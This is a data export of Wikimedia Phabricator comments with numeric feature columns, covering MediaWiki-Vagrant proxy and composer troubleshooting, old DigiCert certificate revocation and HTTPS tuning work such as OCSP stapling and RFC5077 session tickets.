+I think trying out the install and configuration of [[https://github.com/tmatilai/vagrant-proxyconf|vagrant-proxyconf]] would be the place to start. I don't have access to a network that is stuck behind such a proxy at the moment to test things out myself. The instructions on StackOverflow looked pretty good at first glance. There was even an answer there about doing things to allow Bundler to download the plugin via a proxy.",,,1421263790,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1
+399680,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"Do you think it's worth it to tighten up the verification of the downloaded composer phar? In other words, change `creates => ""/usr/local/bin/composer""` to something like `unless => ""php5 -r '<try to load the phar>'""`.",,,1421263615,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1
+399677,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"Yeah, Whats your take ? Lets make one. Just give me few instructions, i want to try out.",,,1421263561,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0
+399676,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"As I mentioned on irc, ""we"" should probably add an FAQ about the HTTP proxy problem. This seems to come up once every couple of months generally from someone on a school network.",,,1421263473,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+399674,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"Thanks a lot ! Finally,Done ! I owe you . Thanks Bryan !",,,1421263250,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+399661,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,">>! In T86787#976723, @Kabhi2104 wrote:
+> {F28624}  Ran `vagrant provision` and here is the output ! Few lines with Errors and Warnings.
+
+```
+Notice: /Stage[main]/Mediawiki/Php::Composer::Install[/vagrant/mediawiki]/Exec[composer-install--vagrant-mediawiki]/returns: Fatal error: Uncaught exception 'PharException' with message 'phar has a broken signature' in :
+Notice: /Stage[main]/Mediawiki/Php::Composer::Install[/vagrant/mediawiki]/Exec[composer-install--vagrant-mediawiki]/returns: Stack trace:
+Notice: /Stage[main]/Mediawiki/Php::Composer::Install[/vagrant/mediawiki]/Exec[composer-install--vagrant-mediawiki]/returns: #0 (): Phar->parsePhar()
+Notice: /Stage[main]/Mediawiki/Php::Composer::Install[/vagrant/mediawiki]/Exec[composer-install--vagrant-mediawiki]/returns: #1 (): Phar->__construct()
+Notice: /Stage[main]/Mediawiki/Php::Composer::Install[/vagrant/mediawiki]/Exec[composer-install--vagrant-mediawiki]/returns: #2 /usr/local/bin/composer(23): Phar::mapPhar()
+Notice: /Stage[main]/Mediawiki/Php::Composer::Install[/vagrant/mediawiki]/Exec[composer-install--vagrant-mediawiki]/returns: #3 {main}
+Error: composer install --optimize-autoloader returned 255 instead of one of [0]
+```
+
+It looks like the /usr/local/bin/composer file is corrupt ('phar has a broken signature' ). This in turn kept /vagrant/mediawiki/vendor from getting the expected external php libraries. I would try to fix it with:
+
+`vagrant ssh -- sudo rm /usr/local/bin/composer; vagrant provision; vagrant git-update`
+
+This will ssh into the vm and remove the corrupt file, run Puppet again (which should re-download the composer binary) and finally update all of your local git checkouts which has a side effect of triggering a Composer install to ensure that the /vagrant/mediawiki/vendor directory is up to date.",,,1421261775,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1
+399657,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,{F28624}  Ran `vagrant provision` and here is the output ! Few lines with Errors and Warnings.,,,1421261346,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+399656,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"{F28624}  Ran 
+```
+vagrant provision
+``` and here is the output ! Few lines with Errors and Warnings.",,,1421261309,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+399655,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,{F28624}  Ran <code>vagrant provision</code> and here is the output ! Few lines with Errors and Warnings.,,,1421261280,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+399654,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,{F28624}  Ran vagrant provision and here is the output ! Few lines with Errors and Warnings.,,,1421261163,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+399653,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,`vagrant up` will only run the Puppet provisioning code on the initial VM creation. Using `vagrant provision` (or adding the `--provision` flag to `vagrant up`) will force a Puppet run on an existing VM.,,,1421260978,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+399638,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"Some ports which uses proxy are blocked on my college network. For now i changed it to my phone hotspot and tried **vagrant up** . It says:
+**Bringing machine 'default' up with 'virtualbox' provider...
+[default] VirtualBox VM is already running.**
+
+On surfing 127.0.0.1:8080 i get this http://imgur.com/g1NJObc which was not expected.",,,1421260137,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+399637,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"Some ports which uses proxy are blocked on my college network. For now i changed it to my phone hotspot and tried **vagrant up** . It says:
+**Bringing machine 'default' up with 'virtualbox' provider...
+[default] VirtualBox VM is already running.
+**
+On surfing 127.0.0.1:8080 i get this http://imgur.com/g1NJObc which was not expected.",,,1421260097,,PHID-USER-cqpeh4jvvexbszsxogrw,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+399613,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,Some additional help on installing and configuring vagrant-proxyconf at http://stackoverflow.com/questions/19872591/how-to-use-vagrant-in-a-proxy-enviroment,,,1421258517,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0
+399607,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"
+Important error messages from that log:
+```
+E: Failed to fetch http://apt.wikimedia.org/wikimedia/pool/main/j/jemalloc/libjemalloc1_3.5.1-2+wm1_amd64.deb Connection failed [IP: 208.80.154.10 80]
+
+E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/a/apr/libapr1_1.5.0-1_amd64.deb Connection failed [IP: 91.189.91.23 80]
+
+E: Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/n/nettle/libnettle4_2.7.1-1_amd64.deb Connection failed [IP: 91.189.88.149 80]
+
+E: Failed to fetch http://apt.wikimedia.org/wikimedia/pool/main/h/hhvm/hhvm-dev_3.3.1+dfsg1-1+wm2_amd64.deb Connection failed [IP: 208.80.154.10 80]
+```
+
+So my random guess about apt-get failures was correct. Your virtual machine is failing to contact both the WMF apt server (apt.wikimedia.org) and the main Ubuntu apt server (archive.ubuntu.com). These failures are keeping HHVM from being properly installed which causes Puppet to mark most everything else as failing due to missing dependencies.
+
+@Kabhi2104 is your laptop running on a network that needs to use an HTTP proxy to reach the internet? If so you probably need to install [[https://github.com/tmatilai/vagrant-proxyconf|vagrant-proxyconf]] plugin and configure it in a local `Vagrantfile-extra.rb` configuration file so that Vagrant will tell the virtual machine how to contact the internet.",,,1421257949,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,0,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1
+86689,revoke old digicert certificates,"As we have migrated to the new globalsign certificates for the main wiki-cluster, we need to revoke the exisiting digicert certs.",Medium,50.0,1421176749,1424722008.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_description,resolved,True,c3,1,True,True,True,-25,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+416010,revoke old digicert certificates,"All of these were revoked awhile back, and I neglected to resolve this task.",,,1424722008,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_subcomment,,True,c3,1,True,,,-19,True,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+399215,revoke old digicert certificates,"chatted with brandon about this earlier today (thanks for linking patchsets!)
+
+I've begun to revoke the certs, so dns-admin@wikimedia.org will be getting spammed.",,,1421190001,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+399101,revoke old digicert certificates,"Change 184711 merged by BBlack:
+remove pubkey files for old GlobalSign certs T86689
+
+[[https://gerrit.wikimedia.org/r/184711]]",,,1421177359,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_subcomment,,True,c3,1,False,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+399099,revoke old digicert certificates,"Change 184709 merged by BBlack:
+remove old unified cert ref from certs.pp T86689
+
+[[https://gerrit.wikimedia.org/r/184709]]",,,1421177300,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_subcomment,,True,c3,1,False,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+399094,revoke old digicert certificates,"Change 184711 had a related patch set uploaded (by BBlack):
+remove pubkey files for old GlobalSign certs T86689
+
+[[https://gerrit.wikimedia.org/r/184711]]
+
+#patch-for-review",,,1421177243,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_subcomment,,True,c3,1,False,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+399090,revoke old digicert certificates,"Change 184709 had a related patch set uploaded (by BBlack):
+remove old unified cert ref from certs.pp T86689
+
+[[https://gerrit.wikimedia.org/r/184709]]
+
+#patch-for-review",,,1421177056,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_subcomment,,True,c3,1,False,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+399088,revoke old digicert certificates,"forgot, planet is digicert, it will move, but dont revoke it yet, only the unified cluster cert(s)",,,1421176775,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-7ssyh6aufoqgrbezu4qp,task_subcomment,,True,c3,1,True,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+86671,HTTPS RFC5077 session tickets encryption key rollovers,We should use nginx's newly-supported feature (plus scripts we should write) to perform staggered master encryption key rollovers for RFC 5077 session tickers.,Medium,50.0,1421161277,1508771878.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-lmzjf7l7kk7db6gimtth,task_description,duplicate,True,c3,1,True,False,False,-25,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+952019,HTTPS RFC5077 session tickets encryption key rollovers,"We still haven't had time to work on doing this ""right"".  Most likely the effort is better invested doing similar things on the TLSv1.3 side at this point, rather than trying to tack on RFC5077 for TLSv1.2.",,,1508771865,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-lmzjf7l7kk7db6gimtth,task_subcomment,,True,c3,3,True,,,120,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,1,1,0
+504045,HTTPS RFC5077 session tickets encryption key rollovers,"Re-opening this.  Current thinking is we will eventually do this, and it's do-able with our current software stack.  Just requires some engineering effort on secure distribution and synchronized rotation of a set of randomly-generated keys...",,,1438955027,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-lmzjf7l7kk7db6gimtth,task_subcomment,,True,c3,3,True,,,5,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+418267,HTTPS RFC5077 session tickets encryption key rollovers,"For the time being, we've decided to simply disable RFC5077 session tickets in the new jessie setup, as we're using client IP hashing for session id resumption, and it sidesteps the whole issue of the affect of RFC5077 on PFS.
+
+As part of the change for this ( https://gerrit.wikimedia.org/r/#/c/189613/ ), we implemented a cronjob to roll over the keys in a simple manner on the legacy boxes (as tickets can't be disabled there), so closing this issue for now.  We can raise a new issue if/when we decide to re-architect our scalability around RFC5077 mechanisms at a later date.",,,1425048427,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-lmzjf7l7kk7db6gimtth,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+86666,HTTPS performance tuning,"As part of our HTTPS scalability efforts, we should work towards improving the performance hit that HTTPS users incur right now.
+
+More specifically:
+[x] SNI, as to be able to send smaller, targeted certificates to users. Rolled out in Nov/Dec 2014.
+[x] ECDSA Hybrid certificates (tracked separately, T86654)
+[x] Enable ~~ALPN~~/NPN, without SPDY. This will signal UAs to use TLS False Start.
+[x] Tune to smaller TLS record sizes, ~~potentially dynamic~~
+[x] OCSP stapling
+[ ] Session cache tuning (check for hit ratio, increase cache, rollovers)
+
+SPDY, although related, is not on-topic for this. There's T35890 tracking progress for that one.
+
+All of the above are for the most part on a newer platform, cf. T86648.",Medium,50.0,1421160679,1438954941.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_description,resolved,True,c3,1,True,False,True,-25,True,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,1,0,1,1,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1
+504044,HTTPS performance tuning,"Basically everything we talked about here is already well-handled and/or we moved in a different direction and this ticket's text is simply outdated.  Of course, perf is always something we'll keep improving on.  The only real oustanding  thing here is about session caching: we're doing about as well as we can with raw sessionids and ipvs-sh, and the next step is RFC5077 really.  We can re-open the old ticket for that (T86671) or make a new one...",,,1438954941,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,3,True,,,5,True,0,1,0,1,0,1,0,0,0,0,1,1,0,1,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+432590,HTTPS performance tuning,"OCSP went out to all clusters today, as the testing over the past ~24H looked pretty good.  Filed a future task to improve the robustness and adaptability of the updater: T93927 .
+
+Also, @ori found a TCP optimization we could use, that was merged last night as well: https://gerrit.wikimedia.org/r/#/c/199556/
+",,,1427309144,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-15,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,0
+431831,HTTPS performance tuning,"OCSP Stapling testing on cp1008 looks good so far.  I want to leave it on just the test host for a day or two first, though, to observe at least the medium-term behavior of the updater script + icinga checks before deploying wider.  So probably Thursday for the prod clusters.",,,1427224046,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0
+431821,HTTPS performance tuning,"Change 198110 merged by BBlack:
+protoproxy/sslcert/cache: nginx ssl_stapling_file support
+
+[[https://gerrit.wikimedia.org/r/198110]]",,,1427222322,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+431678,HTTPS performance tuning,"Change 198110 had a related patch set uploaded (by Faidon Liambotis):
+protoproxy/sslcert/cache: nginx ssl_stapling_file support
+
+[[https://gerrit.wikimedia.org/r/198110]]
+",,,1427211729,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+430067,HTTPS performance tuning,"OCSP Stapling commits are here now: https://gerrit.wikimedia.org/r/#/q/status:open+project:operations/puppet+branch:production+topic:ocsp-stapling,n,z
+
+Holding for the weekend, will get some Faidon-review and then merge->test->deploy early next week.",,,1426886674,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-15,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
